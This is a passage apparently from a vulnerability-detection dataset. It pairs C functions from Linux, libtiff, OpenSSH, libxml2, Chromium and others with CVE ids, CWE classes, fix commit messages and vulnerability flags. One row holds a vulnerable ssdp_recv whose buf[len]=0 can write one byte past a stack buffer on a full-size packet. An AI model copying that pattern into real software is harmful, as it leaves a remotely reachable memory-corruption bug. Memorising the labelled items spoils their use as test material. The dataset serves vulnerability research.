struct sockaddr sa;
socklen_t salen;
char buf[MAX_PKT_SIZE + 1];
memset(buf, 0, sizeof(buf));
len = recvfrom(sd, buf, sizeof(buf) - 1, MSG_DONTWAIT, &sa, &salen);
if (len > 0) {
if (sa.sa_family != AF_INET)
return;
if (strstr(buf, "M-SEARCH *")) {
size_t i;
char *ptr, *type;
struct ifsock *ifs;
struct sockaddr_in *sin = (struct sockaddr_in *)&sa;
ifs = find_outbound(&sa);
if (!ifs) {
logit(LOG_DEBUG, "No matching socket for client %s", inet_ntoa(sin->sin_addr));
return;
}
logit(LOG_DEBUG, "Matching socket for client %s", inet_ntoa(sin->sin_addr));
type = strcasestr(buf, "\r\nST:");
if (!type) {
logit(LOG_DEBUG, "No Search Type (ST:) found in M-SEARCH *, assuming " SSDP_ST_ALL);
type = SSDP_ST_ALL;
send_message(ifs, type, &sa);
return;
}
type = strchr(type, ':');
if (!type)
return;
type++;
while (isspace(*type))
type++;
ptr = strstr(type, "\r\n");
if (!ptr)
return;
*ptr = 0;
for (i = 0; supported_types[i]; i++) {
if (!strcmp(supported_types[i], type)) {
logit(LOG_DEBUG, "M-SEARCH * ST: %s from %s port %d", type,
inet_ntoa(sin->sin_addr), ntohs(sin->sin_port));
send_message(ifs, type, &sa);
return;
}
}
logit(LOG_DEBUG, "M-SEARCH * for unsupported ST: %s from %s", type,
inet_ntoa(sin->sin_addr));
}
}
}
|
static void ssdp_recv(int sd)
{
ssize_t len;
struct sockaddr sa;
socklen_t salen;
char buf[MAX_PKT_SIZE];
memset(buf, 0, sizeof(buf));
len = recvfrom(sd, buf, sizeof(buf), MSG_DONTWAIT, &sa, &salen);
if (len > 0) {
buf[len] = 0;
if (sa.sa_family != AF_INET)
return;
if (strstr(buf, "M-SEARCH *")) {
size_t i;
char *ptr, *type;
struct ifsock *ifs;
struct sockaddr_in *sin = (struct sockaddr_in *)&sa;
ifs = find_outbound(&sa);
if (!ifs) {
logit(LOG_DEBUG, "No matching socket for client %s", inet_ntoa(sin->sin_addr));
return;
}
logit(LOG_DEBUG, "Matching socket for client %s", inet_ntoa(sin->sin_addr));
type = strcasestr(buf, "\r\nST:");
if (!type) {
logit(LOG_DEBUG, "No Search Type (ST:) found in M-SEARCH *, assuming " SSDP_ST_ALL);
type = SSDP_ST_ALL;
send_message(ifs, type, &sa);
return;
}
type = strchr(type, ':');
if (!type)
return;
type++;
while (isspace(*type))
type++;
ptr = strstr(type, "\r\n");
if (!ptr)
return;
*ptr = 0;
for (i = 0; supported_types[i]; i++) {
if (!strcmp(supported_types[i], type)) {
logit(LOG_DEBUG, "M-SEARCH * ST: %s from %s port %d", type,
inet_ntoa(sin->sin_addr), ntohs(sin->sin_port));
send_message(ifs, type, &sa);
return;
}
}
logit(LOG_DEBUG, "M-SEARCH * for unsupported ST: %s from %s", type,
inet_ntoa(sin->sin_addr));
}
}
}
|
C
|
ssdp-responder
| 1 |
CVE-2013-6368
|
https://www.cvedetails.com/cve/CVE-2013-6368/
|
CWE-20
|
https://github.com/torvalds/linux/commit/fda4e2e85589191b123d31cdc21fd33ee70f50fd
|
fda4e2e85589191b123d31cdc21fd33ee70f50fd
|
KVM: x86: Convert vapic synchronization to _cached functions (CVE-2013-6368)
In kvm_lapic_sync_from_vapic and kvm_lapic_sync_to_vapic there is the
potential to corrupt kernel memory if userspace provides an address that
is at the end of a page. This patches concerts those functions to use
kvm_write_guest_cached and kvm_read_guest_cached. It also checks the
vapic_address specified by userspace during ioctl processing and returns
an error to userspace if the address is not a valid GPA.
This is generally not guest triggerable, because the required write is
done by firmware that runs before the guest. Also, it only affects AMD
processors and oldish Intel that do not have the FlexPriority feature
(unless you disable FlexPriority, of course; then newer processors are
also affected).
Fixes: b93463aa59d6 ('KVM: Accelerated apic support')
Reported-by: Andrew Honig <[email protected]>
Cc: [email protected]
Signed-off-by: Andrew Honig <[email protected]>
Signed-off-by: Paolo Bonzini <[email protected]>
|
static int complete_emulated_mmio(struct kvm_vcpu *vcpu)
{
struct kvm_run *run = vcpu->run;
struct kvm_mmio_fragment *frag;
unsigned len;
BUG_ON(!vcpu->mmio_needed);
/* Complete previous fragment */
frag = &vcpu->mmio_fragments[vcpu->mmio_cur_fragment];
len = min(8u, frag->len);
if (!vcpu->mmio_is_write)
memcpy(frag->data, run->mmio.data, len);
if (frag->len <= 8) {
/* Switch to the next fragment. */
frag++;
vcpu->mmio_cur_fragment++;
} else {
/* Go forward to the next mmio piece. */
frag->data += len;
frag->gpa += len;
frag->len -= len;
}
if (vcpu->mmio_cur_fragment == vcpu->mmio_nr_fragments) {
vcpu->mmio_needed = 0;
/* FIXME: return into emulator if single-stepping. */
if (vcpu->mmio_is_write)
return 1;
vcpu->mmio_read_completed = 1;
return complete_emulated_io(vcpu);
}
run->exit_reason = KVM_EXIT_MMIO;
run->mmio.phys_addr = frag->gpa;
if (vcpu->mmio_is_write)
memcpy(run->mmio.data, frag->data, min(8u, frag->len));
run->mmio.len = min(8u, frag->len);
run->mmio.is_write = vcpu->mmio_is_write;
vcpu->arch.complete_userspace_io = complete_emulated_mmio;
return 0;
}
|
static int complete_emulated_mmio(struct kvm_vcpu *vcpu)
{
struct kvm_run *run = vcpu->run;
struct kvm_mmio_fragment *frag;
unsigned len;
BUG_ON(!vcpu->mmio_needed);
/* Complete previous fragment */
frag = &vcpu->mmio_fragments[vcpu->mmio_cur_fragment];
len = min(8u, frag->len);
if (!vcpu->mmio_is_write)
memcpy(frag->data, run->mmio.data, len);
if (frag->len <= 8) {
/* Switch to the next fragment. */
frag++;
vcpu->mmio_cur_fragment++;
} else {
/* Go forward to the next mmio piece. */
frag->data += len;
frag->gpa += len;
frag->len -= len;
}
if (vcpu->mmio_cur_fragment == vcpu->mmio_nr_fragments) {
vcpu->mmio_needed = 0;
/* FIXME: return into emulator if single-stepping. */
if (vcpu->mmio_is_write)
return 1;
vcpu->mmio_read_completed = 1;
return complete_emulated_io(vcpu);
}
run->exit_reason = KVM_EXIT_MMIO;
run->mmio.phys_addr = frag->gpa;
if (vcpu->mmio_is_write)
memcpy(run->mmio.data, frag->data, min(8u, frag->len));
run->mmio.len = min(8u, frag->len);
run->mmio.is_write = vcpu->mmio_is_write;
vcpu->arch.complete_userspace_io = complete_emulated_mmio;
return 0;
}
|
C
|
linux
| 0 |
CVE-2013-3234
|
https://www.cvedetails.com/cve/CVE-2013-3234/
|
CWE-200
|
https://github.com/torvalds/linux/commit/4a184233f21645cf0b719366210ed445d1024d72
|
4a184233f21645cf0b719366210ed445d1024d72
|
rose: fix info leak via msg_name in rose_recvmsg()
The code in rose_recvmsg() does not initialize all of the members of
struct sockaddr_rose/full_sockaddr_rose when filling the sockaddr info.
Nor does it initialize the padding bytes of the structure inserted by
the compiler for alignment. This will lead to leaking uninitialized
kernel stack bytes in net/socket.c.
Fix the issue by initializing the memory used for sockaddr info with
memset(0).
Cc: Ralf Baechle <[email protected]>
Signed-off-by: Mathias Krause <[email protected]>
Signed-off-by: David S. Miller <[email protected]>
|
static void rose_kill_by_device(struct net_device *dev)
{
struct sock *s;
spin_lock_bh(&rose_list_lock);
sk_for_each(s, &rose_list) {
struct rose_sock *rose = rose_sk(s);
if (rose->device == dev) {
rose_disconnect(s, ENETUNREACH, ROSE_OUT_OF_ORDER, 0);
rose->neighbour->use--;
rose->device = NULL;
}
}
spin_unlock_bh(&rose_list_lock);
}
|
static void rose_kill_by_device(struct net_device *dev)
{
struct sock *s;
spin_lock_bh(&rose_list_lock);
sk_for_each(s, &rose_list) {
struct rose_sock *rose = rose_sk(s);
if (rose->device == dev) {
rose_disconnect(s, ENETUNREACH, ROSE_OUT_OF_ORDER, 0);
rose->neighbour->use--;
rose->device = NULL;
}
}
spin_unlock_bh(&rose_list_lock);
}
|
C
|
linux
| 0 |
CVE-2016-7097
|
https://www.cvedetails.com/cve/CVE-2016-7097/
|
CWE-285
|
https://github.com/torvalds/linux/commit/073931017b49d9458aa351605b43a7e34598caef
|
073931017b49d9458aa351605b43a7e34598caef
|
posix_acl: Clear SGID bit when setting file permissions
When file permissions are modified via chmod(2) and the user is not in
the owning group or capable of CAP_FSETID, the setgid bit is cleared in
inode_change_ok(). Setting a POSIX ACL via setxattr(2) sets the file
permissions as well as the new ACL, but doesn't clear the setgid bit in
a similar way; this allows to bypass the check in chmod(2). Fix that.
References: CVE-2016-7097
Reviewed-by: Christoph Hellwig <[email protected]>
Reviewed-by: Jeff Layton <[email protected]>
Signed-off-by: Jan Kara <[email protected]>
Signed-off-by: Andreas Gruenbacher <[email protected]>
|
struct posix_acl *jffs2_get_acl(struct inode *inode, int type)
{
struct posix_acl *acl;
char *value = NULL;
int rc, xprefix;
switch (type) {
case ACL_TYPE_ACCESS:
xprefix = JFFS2_XPREFIX_ACL_ACCESS;
break;
case ACL_TYPE_DEFAULT:
xprefix = JFFS2_XPREFIX_ACL_DEFAULT;
break;
default:
BUG();
}
rc = do_jffs2_getxattr(inode, xprefix, "", NULL, 0);
if (rc > 0) {
value = kmalloc(rc, GFP_KERNEL);
if (!value)
return ERR_PTR(-ENOMEM);
rc = do_jffs2_getxattr(inode, xprefix, "", value, rc);
}
if (rc > 0) {
acl = jffs2_acl_from_medium(value, rc);
} else if (rc == -ENODATA || rc == -ENOSYS) {
acl = NULL;
} else {
acl = ERR_PTR(rc);
}
kfree(value);
return acl;
}
|
struct posix_acl *jffs2_get_acl(struct inode *inode, int type)
{
struct posix_acl *acl;
char *value = NULL;
int rc, xprefix;
switch (type) {
case ACL_TYPE_ACCESS:
xprefix = JFFS2_XPREFIX_ACL_ACCESS;
break;
case ACL_TYPE_DEFAULT:
xprefix = JFFS2_XPREFIX_ACL_DEFAULT;
break;
default:
BUG();
}
rc = do_jffs2_getxattr(inode, xprefix, "", NULL, 0);
if (rc > 0) {
value = kmalloc(rc, GFP_KERNEL);
if (!value)
return ERR_PTR(-ENOMEM);
rc = do_jffs2_getxattr(inode, xprefix, "", value, rc);
}
if (rc > 0) {
acl = jffs2_acl_from_medium(value, rc);
} else if (rc == -ENODATA || rc == -ENOSYS) {
acl = NULL;
} else {
acl = ERR_PTR(rc);
}
kfree(value);
return acl;
}
|
C
|
linux
| 0 |
null | null | null |
https://github.com/chromium/chromium/commit/ee8d6fd30b022ac2c87b7a190c954e7bb3c9b21e
|
ee8d6fd30b022ac2c87b7a190c954e7bb3c9b21e
|
Clean up calls like "gfx::Rect(0, 0, size().width(), size().height()".
The caller can use the much shorter "gfx::Rect(size())", since gfx::Rect
has a constructor that just takes a Size.
BUG=none
TEST=none
Review URL: http://codereview.chromium.org/2204001
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@48283 0039d316-1c4b-4281-b951-d872f2087c98
|
void DraggedTabGtk::SetContainerShapeMask(cairo_surface_t* surface) {
gfx::Size size = bounds().size();
GdkPixmap* pixmap = gdk_pixmap_new(NULL, size.width(), size.height(), 1);
cairo_t* cairo_context = gdk_cairo_create(GDK_DRAWABLE(pixmap));
cairo_set_source_rgba(cairo_context, 1.0f, 1.0f, 1.0f, 0.0f);
cairo_set_operator(cairo_context, CAIRO_OPERATOR_SOURCE);
if (!attached_)
cairo_scale(cairo_context, kScalingFactor, kScalingFactor);
cairo_set_source_surface(cairo_context, surface, 0, 0);
cairo_paint(cairo_context);
if (!attached_) {
cairo_identity_matrix(cairo_context);
cairo_set_source_rgba(cairo_context, 1.0f, 1.0f, 1.0f, 1.0f);
int tab_height = static_cast<int>(kScalingFactor *
renderer_->height() -
kDragFrameBorderSize);
cairo_rectangle(cairo_context,
0, tab_height,
size.width(), size.height() - tab_height);
cairo_fill(cairo_context);
}
cairo_destroy(cairo_context);
gdk_window_shape_combine_mask(container_->window, pixmap, 0, 0);
g_object_unref(pixmap);
}
|
void DraggedTabGtk::SetContainerShapeMask(cairo_surface_t* surface) {
gfx::Size size = bounds().size();
GdkPixmap* pixmap = gdk_pixmap_new(NULL, size.width(), size.height(), 1);
cairo_t* cairo_context = gdk_cairo_create(GDK_DRAWABLE(pixmap));
cairo_set_source_rgba(cairo_context, 1.0f, 1.0f, 1.0f, 0.0f);
cairo_set_operator(cairo_context, CAIRO_OPERATOR_SOURCE);
if (!attached_)
cairo_scale(cairo_context, kScalingFactor, kScalingFactor);
cairo_set_source_surface(cairo_context, surface, 0, 0);
cairo_paint(cairo_context);
if (!attached_) {
cairo_identity_matrix(cairo_context);
cairo_set_source_rgba(cairo_context, 1.0f, 1.0f, 1.0f, 1.0f);
int tab_height = static_cast<int>(kScalingFactor *
renderer_->height() -
kDragFrameBorderSize);
cairo_rectangle(cairo_context,
0, tab_height,
size.width(), size.height() - tab_height);
cairo_fill(cairo_context);
}
cairo_destroy(cairo_context);
gdk_window_shape_combine_mask(container_->window, pixmap, 0, 0);
g_object_unref(pixmap);
}
|
C
|
Chrome
| 0 |
CVE-2016-10267
|
https://www.cvedetails.com/cve/CVE-2016-10267/
|
CWE-369
|
https://github.com/vadz/libtiff/commit/43bc256d8ae44b92d2734a3c5bc73957a4d7c1ec
|
43bc256d8ae44b92d2734a3c5bc73957a4d7c1ec
|
* libtiff/tif_ojpeg.c: make OJPEGDecode() early exit in case of failure in
OJPEGPreDecode(). This will avoid a divide by zero, and potential other issues.
Reported by Agostino Sarubbo.
Fixes http://bugzilla.maptools.org/show_bug.cgi?id=2611
|
OJPEGSubsamplingCorrect(TIFF* tif)
{
static const char module[]="OJPEGSubsamplingCorrect";
OJPEGState* sp=(OJPEGState*)tif->tif_data;
uint8 mh;
uint8 mv;
_TIFFFillStriles( tif );
assert(sp->subsamplingcorrect_done==0);
if ((tif->tif_dir.td_samplesperpixel!=3) || ((tif->tif_dir.td_photometric!=PHOTOMETRIC_YCBCR) &&
(tif->tif_dir.td_photometric!=PHOTOMETRIC_ITULAB)))
{
if (sp->subsampling_tag!=0)
TIFFWarningExt(tif->tif_clientdata,module,"Subsampling tag not appropriate for this Photometric and/or SamplesPerPixel");
sp->subsampling_hor=1;
sp->subsampling_ver=1;
sp->subsampling_force_desubsampling_inside_decompression=0;
}
else
{
sp->subsamplingcorrect_done=1;
mh=sp->subsampling_hor;
mv=sp->subsampling_ver;
sp->subsamplingcorrect=1;
OJPEGReadHeaderInfoSec(tif);
if (sp->subsampling_force_desubsampling_inside_decompression!=0)
{
sp->subsampling_hor=1;
sp->subsampling_ver=1;
}
sp->subsamplingcorrect=0;
if (((sp->subsampling_hor!=mh) || (sp->subsampling_ver!=mv)) && (sp->subsampling_force_desubsampling_inside_decompression==0))
{
if (sp->subsampling_tag==0)
TIFFWarningExt(tif->tif_clientdata,module,"Subsampling tag is not set, yet subsampling inside JPEG data [%d,%d] does not match default values [2,2]; assuming subsampling inside JPEG data is correct",sp->subsampling_hor,sp->subsampling_ver);
else
TIFFWarningExt(tif->tif_clientdata,module,"Subsampling inside JPEG data [%d,%d] does not match subsampling tag values [%d,%d]; assuming subsampling inside JPEG data is correct",sp->subsampling_hor,sp->subsampling_ver,mh,mv);
}
if (sp->subsampling_force_desubsampling_inside_decompression!=0)
{
if (sp->subsampling_tag==0)
TIFFWarningExt(tif->tif_clientdata,module,"Subsampling tag is not set, yet subsampling inside JPEG data does not match default values [2,2] (nor any other values allowed in TIFF); assuming subsampling inside JPEG data is correct and desubsampling inside JPEG decompression");
else
TIFFWarningExt(tif->tif_clientdata,module,"Subsampling inside JPEG data does not match subsampling tag values [%d,%d] (nor any other values allowed in TIFF); assuming subsampling inside JPEG data is correct and desubsampling inside JPEG decompression",mh,mv);
}
if (sp->subsampling_force_desubsampling_inside_decompression==0)
{
if (sp->subsampling_hor<sp->subsampling_ver)
TIFFWarningExt(tif->tif_clientdata,module,"Subsampling values [%d,%d] are not allowed in TIFF",sp->subsampling_hor,sp->subsampling_ver);
}
}
sp->subsamplingcorrect_done=1;
}
|
OJPEGSubsamplingCorrect(TIFF* tif)
{
static const char module[]="OJPEGSubsamplingCorrect";
OJPEGState* sp=(OJPEGState*)tif->tif_data;
uint8 mh;
uint8 mv;
_TIFFFillStriles( tif );
assert(sp->subsamplingcorrect_done==0);
if ((tif->tif_dir.td_samplesperpixel!=3) || ((tif->tif_dir.td_photometric!=PHOTOMETRIC_YCBCR) &&
(tif->tif_dir.td_photometric!=PHOTOMETRIC_ITULAB)))
{
if (sp->subsampling_tag!=0)
TIFFWarningExt(tif->tif_clientdata,module,"Subsampling tag not appropriate for this Photometric and/or SamplesPerPixel");
sp->subsampling_hor=1;
sp->subsampling_ver=1;
sp->subsampling_force_desubsampling_inside_decompression=0;
}
else
{
sp->subsamplingcorrect_done=1;
mh=sp->subsampling_hor;
mv=sp->subsampling_ver;
sp->subsamplingcorrect=1;
OJPEGReadHeaderInfoSec(tif);
if (sp->subsampling_force_desubsampling_inside_decompression!=0)
{
sp->subsampling_hor=1;
sp->subsampling_ver=1;
}
sp->subsamplingcorrect=0;
if (((sp->subsampling_hor!=mh) || (sp->subsampling_ver!=mv)) && (sp->subsampling_force_desubsampling_inside_decompression==0))
{
if (sp->subsampling_tag==0)
TIFFWarningExt(tif->tif_clientdata,module,"Subsampling tag is not set, yet subsampling inside JPEG data [%d,%d] does not match default values [2,2]; assuming subsampling inside JPEG data is correct",sp->subsampling_hor,sp->subsampling_ver);
else
TIFFWarningExt(tif->tif_clientdata,module,"Subsampling inside JPEG data [%d,%d] does not match subsampling tag values [%d,%d]; assuming subsampling inside JPEG data is correct",sp->subsampling_hor,sp->subsampling_ver,mh,mv);
}
if (sp->subsampling_force_desubsampling_inside_decompression!=0)
{
if (sp->subsampling_tag==0)
TIFFWarningExt(tif->tif_clientdata,module,"Subsampling tag is not set, yet subsampling inside JPEG data does not match default values [2,2] (nor any other values allowed in TIFF); assuming subsampling inside JPEG data is correct and desubsampling inside JPEG decompression");
else
TIFFWarningExt(tif->tif_clientdata,module,"Subsampling inside JPEG data does not match subsampling tag values [%d,%d] (nor any other values allowed in TIFF); assuming subsampling inside JPEG data is correct and desubsampling inside JPEG decompression",mh,mv);
}
if (sp->subsampling_force_desubsampling_inside_decompression==0)
{
if (sp->subsampling_hor<sp->subsampling_ver)
TIFFWarningExt(tif->tif_clientdata,module,"Subsampling values [%d,%d] are not allowed in TIFF",sp->subsampling_hor,sp->subsampling_ver);
}
}
sp->subsamplingcorrect_done=1;
}
|
C
|
libtiff
| 0 |
CVE-2010-4818
|
https://www.cvedetails.com/cve/CVE-2010-4818/
|
CWE-20
|
https://cgit.freedesktop.org/xorg/xserver/commit?id=3f0d3f4d97bce75c1828635c322b6560a45a037f
|
3f0d3f4d97bce75c1828635c322b6560a45a037f
| null |
int __glXDisp_CreateWindow(__GLXclientState *cl, GLbyte *pc)
{
xGLXCreateWindowReq *req = (xGLXCreateWindowReq *) pc;
__GLXconfig *config;
__GLXscreen *pGlxScreen;
ClientPtr client = cl->client;
DrawablePtr pDraw;
int err;
LEGAL_NEW_RESOURCE(req->glxwindow, client);
if (!validGlxScreen(client, req->screen, &pGlxScreen, &err))
return err;
if (!validGlxFBConfig(client, pGlxScreen, req->fbconfig, &config, &err))
return err;
err = dixLookupDrawable(&pDraw, req->window, client, 0, DixAddAccess);
if (err != Success || pDraw->type != DRAWABLE_WINDOW) {
client->errorValue = req->window;
return BadWindow;
}
if (!validGlxFBConfigForWindow(client, config, pDraw, &err))
return err;
return DoCreateGLXDrawable(client, pGlxScreen, config,
pDraw, req->window,
req->glxwindow, GLX_DRAWABLE_WINDOW);
}
|
int __glXDisp_CreateWindow(__GLXclientState *cl, GLbyte *pc)
{
xGLXCreateWindowReq *req = (xGLXCreateWindowReq *) pc;
__GLXconfig *config;
__GLXscreen *pGlxScreen;
ClientPtr client = cl->client;
DrawablePtr pDraw;
int err;
LEGAL_NEW_RESOURCE(req->glxwindow, client);
if (!validGlxScreen(client, req->screen, &pGlxScreen, &err))
return err;
if (!validGlxFBConfig(client, pGlxScreen, req->fbconfig, &config, &err))
return err;
err = dixLookupDrawable(&pDraw, req->window, client, 0, DixAddAccess);
if (err != Success || pDraw->type != DRAWABLE_WINDOW) {
client->errorValue = req->window;
return BadWindow;
}
if (!validGlxFBConfigForWindow(client, config, pDraw, &err))
return err;
return DoCreateGLXDrawable(client, pGlxScreen, config,
pDraw, req->window,
req->glxwindow, GLX_DRAWABLE_WINDOW);
}
|
C
|
xserver
| 0 |
CVE-2012-6638
|
https://www.cvedetails.com/cve/CVE-2012-6638/
|
CWE-399
|
https://github.com/torvalds/linux/commit/fdf5af0daf8019cec2396cdef8fb042d80fe71fa
|
fdf5af0daf8019cec2396cdef8fb042d80fe71fa
|
tcp: drop SYN+FIN messages
Denys Fedoryshchenko reported that SYN+FIN attacks were bringing his
linux machines to their limits.
Dont call conn_request() if the TCP flags includes SYN flag
Reported-by: Denys Fedoryshchenko <[email protected]>
Signed-off-by: Eric Dumazet <[email protected]>
Signed-off-by: David S. Miller <[email protected]>
|
static void tcp_event_data_recv(struct sock *sk, struct sk_buff *skb)
{
struct tcp_sock *tp = tcp_sk(sk);
struct inet_connection_sock *icsk = inet_csk(sk);
u32 now;
inet_csk_schedule_ack(sk);
tcp_measure_rcv_mss(sk, skb);
tcp_rcv_rtt_measure(tp);
now = tcp_time_stamp;
if (!icsk->icsk_ack.ato) {
/* The _first_ data packet received, initialize
* delayed ACK engine.
*/
tcp_incr_quickack(sk);
icsk->icsk_ack.ato = TCP_ATO_MIN;
} else {
int m = now - icsk->icsk_ack.lrcvtime;
if (m <= TCP_ATO_MIN / 2) {
/* The fastest case is the first. */
icsk->icsk_ack.ato = (icsk->icsk_ack.ato >> 1) + TCP_ATO_MIN / 2;
} else if (m < icsk->icsk_ack.ato) {
icsk->icsk_ack.ato = (icsk->icsk_ack.ato >> 1) + m;
if (icsk->icsk_ack.ato > icsk->icsk_rto)
icsk->icsk_ack.ato = icsk->icsk_rto;
} else if (m > icsk->icsk_rto) {
/* Too long gap. Apparently sender failed to
* restart window, so that we send ACKs quickly.
*/
tcp_incr_quickack(sk);
sk_mem_reclaim(sk);
}
}
icsk->icsk_ack.lrcvtime = now;
TCP_ECN_check_ce(tp, skb);
if (skb->len >= 128)
tcp_grow_window(sk, skb);
}
|
static void tcp_event_data_recv(struct sock *sk, struct sk_buff *skb)
{
struct tcp_sock *tp = tcp_sk(sk);
struct inet_connection_sock *icsk = inet_csk(sk);
u32 now;
inet_csk_schedule_ack(sk);
tcp_measure_rcv_mss(sk, skb);
tcp_rcv_rtt_measure(tp);
now = tcp_time_stamp;
if (!icsk->icsk_ack.ato) {
/* The _first_ data packet received, initialize
* delayed ACK engine.
*/
tcp_incr_quickack(sk);
icsk->icsk_ack.ato = TCP_ATO_MIN;
} else {
int m = now - icsk->icsk_ack.lrcvtime;
if (m <= TCP_ATO_MIN / 2) {
/* The fastest case is the first. */
icsk->icsk_ack.ato = (icsk->icsk_ack.ato >> 1) + TCP_ATO_MIN / 2;
} else if (m < icsk->icsk_ack.ato) {
icsk->icsk_ack.ato = (icsk->icsk_ack.ato >> 1) + m;
if (icsk->icsk_ack.ato > icsk->icsk_rto)
icsk->icsk_ack.ato = icsk->icsk_rto;
} else if (m > icsk->icsk_rto) {
/* Too long gap. Apparently sender failed to
* restart window, so that we send ACKs quickly.
*/
tcp_incr_quickack(sk);
sk_mem_reclaim(sk);
}
}
icsk->icsk_ack.lrcvtime = now;
TCP_ECN_check_ce(tp, skb);
if (skb->len >= 128)
tcp_grow_window(sk, skb);
}
|
C
|
linux
| 0 |
CVE-2017-15906
|
https://www.cvedetails.com/cve/CVE-2017-15906/
|
CWE-269
|
https://github.com/openbsd/src/commit/a6981567e8e215acc1ef690c8dbb30f2d9b00a19
|
a6981567e8e215acc1ef690c8dbb30f2d9b00a19
|
disallow creation (of empty files) in read-only mode; reported by
Michal Zalewski, feedback & ok deraadt@
|
process_extended(u_int32_t id)
{
char *request;
int i, r;
if ((r = sshbuf_get_cstring(iqueue, &request, NULL)) != 0)
fatal("%s: buffer error: %s", __func__, ssh_err(r));
for (i = 0; extended_handlers[i].handler != NULL; i++) {
if (strcmp(request, extended_handlers[i].ext_name) == 0) {
if (!request_permitted(&extended_handlers[i]))
send_status(id, SSH2_FX_PERMISSION_DENIED);
else
extended_handlers[i].handler(id);
break;
}
}
if (extended_handlers[i].handler == NULL) {
error("Unknown extended request \"%.100s\"", request);
send_status(id, SSH2_FX_OP_UNSUPPORTED); /* MUST */
}
free(request);
}
|
process_extended(u_int32_t id)
{
char *request;
int i, r;
if ((r = sshbuf_get_cstring(iqueue, &request, NULL)) != 0)
fatal("%s: buffer error: %s", __func__, ssh_err(r));
for (i = 0; extended_handlers[i].handler != NULL; i++) {
if (strcmp(request, extended_handlers[i].ext_name) == 0) {
if (!request_permitted(&extended_handlers[i]))
send_status(id, SSH2_FX_PERMISSION_DENIED);
else
extended_handlers[i].handler(id);
break;
}
}
if (extended_handlers[i].handler == NULL) {
error("Unknown extended request \"%.100s\"", request);
send_status(id, SSH2_FX_OP_UNSUPPORTED); /* MUST */
}
free(request);
}
|
C
|
src
| 0 |
CVE-2017-5130
|
https://www.cvedetails.com/cve/CVE-2017-5130/
|
CWE-787
|
https://github.com/chromium/chromium/commit/ce1446c00f0fd8f5a3b00727421be2124cb7370f
|
ce1446c00f0fd8f5a3b00727421be2124cb7370f
|
Roll libxml to 3939178e4cb797417ff033b1e04ab4b038e224d9
Removes a few patches fixed upstream:
https://git.gnome.org/browse/libxml2/commit/?id=e26630548e7d138d2c560844c43820b6767251e3
https://git.gnome.org/browse/libxml2/commit/?id=94691dc884d1a8ada39f073408b4bb92fe7fe882
Stops using the NOXXE flag which was reverted upstream:
https://git.gnome.org/browse/libxml2/commit/?id=030b1f7a27c22f9237eddca49ec5e620b6258d7d
Changes the patch to uri.c to not add limits.h, which is included
upstream.
Bug: 722079
Change-Id: I4b8449ed33f95de23c54c2cde99970c2df2781ac
Reviewed-on: https://chromium-review.googlesource.com/535233
Reviewed-by: Scott Graham <[email protected]>
Commit-Queue: Dominic Cooney <[email protected]>
Cr-Commit-Position: refs/heads/master@{#480755}
|
xmlBufShrink(xmlBufPtr buf, size_t len) {
if ((buf == NULL) || (buf->error != 0)) return(0);
CHECK_COMPAT(buf)
if (len == 0) return(0);
if (len > buf->use) return(0);
buf->use -= len;
if ((buf->alloc == XML_BUFFER_ALLOC_IMMUTABLE) ||
((buf->alloc == XML_BUFFER_ALLOC_IO) && (buf->contentIO != NULL))) {
/*
* we just move the content pointer, but also make sure
* the perceived buffer size has shrinked accordingly
*/
buf->content += len;
buf->size -= len;
/*
* sometimes though it maybe be better to really shrink
* on IO buffers
*/
if ((buf->alloc == XML_BUFFER_ALLOC_IO) && (buf->contentIO != NULL)) {
size_t start_buf = buf->content - buf->contentIO;
if (start_buf >= buf->size) {
memmove(buf->contentIO, &buf->content[0], buf->use);
buf->content = buf->contentIO;
buf->content[buf->use] = 0;
buf->size += start_buf;
}
}
} else {
memmove(buf->content, &buf->content[len], buf->use);
buf->content[buf->use] = 0;
}
UPDATE_COMPAT(buf)
return(len);
}
|
xmlBufShrink(xmlBufPtr buf, size_t len) {
if ((buf == NULL) || (buf->error != 0)) return(0);
CHECK_COMPAT(buf)
if (len == 0) return(0);
if (len > buf->use) return(0);
buf->use -= len;
if ((buf->alloc == XML_BUFFER_ALLOC_IMMUTABLE) ||
((buf->alloc == XML_BUFFER_ALLOC_IO) && (buf->contentIO != NULL))) {
/*
* we just move the content pointer, but also make sure
* the perceived buffer size has shrinked accordingly
*/
buf->content += len;
buf->size -= len;
/*
* sometimes though it maybe be better to really shrink
* on IO buffers
*/
if ((buf->alloc == XML_BUFFER_ALLOC_IO) && (buf->contentIO != NULL)) {
size_t start_buf = buf->content - buf->contentIO;
if (start_buf >= buf->size) {
memmove(buf->contentIO, &buf->content[0], buf->use);
buf->content = buf->contentIO;
buf->content[buf->use] = 0;
buf->size += start_buf;
}
}
} else {
memmove(buf->content, &buf->content[len], buf->use);
buf->content[buf->use] = 0;
}
UPDATE_COMPAT(buf)
return(len);
}
|
C
|
Chrome
| 0 |
CVE-2018-7752
|
https://www.cvedetails.com/cve/CVE-2018-7752/
|
CWE-119
|
https://github.com/gpac/gpac/commit/90dc7f853d31b0a4e9441cba97feccf36d8b69a4
|
90dc7f853d31b0a4e9441cba97feccf36d8b69a4
|
fix some exploitable overflows (#994, #997)
|
GF_Box *avcc_New()
{
GF_AVCConfigurationBox *tmp = (GF_AVCConfigurationBox *) gf_malloc(sizeof(GF_AVCConfigurationBox));
if (tmp == NULL) return NULL;
memset(tmp, 0, sizeof(GF_AVCConfigurationBox));
tmp->type = GF_ISOM_BOX_TYPE_AVCC;
return (GF_Box *)tmp;
}
|
GF_Box *avcc_New()
{
GF_AVCConfigurationBox *tmp = (GF_AVCConfigurationBox *) gf_malloc(sizeof(GF_AVCConfigurationBox));
if (tmp == NULL) return NULL;
memset(tmp, 0, sizeof(GF_AVCConfigurationBox));
tmp->type = GF_ISOM_BOX_TYPE_AVCC;
return (GF_Box *)tmp;
}
|
C
|
gpac
| 0 |
CVE-2016-5202
| null | null |
https://github.com/chromium/chromium/commit/79708b391b2e91d63b5d009ec6202c7d7ededf93
|
79708b391b2e91d63b5d009ec6202c7d7ededf93
|
Ensure that OpenVR only adds placeholder buttons when needed.
The current implementation of the OpenVRGamepadHelper always adds the
optional grip and secondary axes buttons; however, if those buttons are
missing and no additional buttons need to be supported, they should not
be included. A prime example of this is the vive controller, which has
a trigger, a grip, and a touchpad, but no secondary axis button. This
is essentially the controller that the new TestGamepadOptionalData test
builds.
Bug: 964026
Change-Id: I1de93b5bd7bd0d9e75013cf33b8f333e5d70270f
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/1627914
Reviewed-by: Bill Orr <[email protected]>
Commit-Queue: Alexander Cooper <[email protected]>
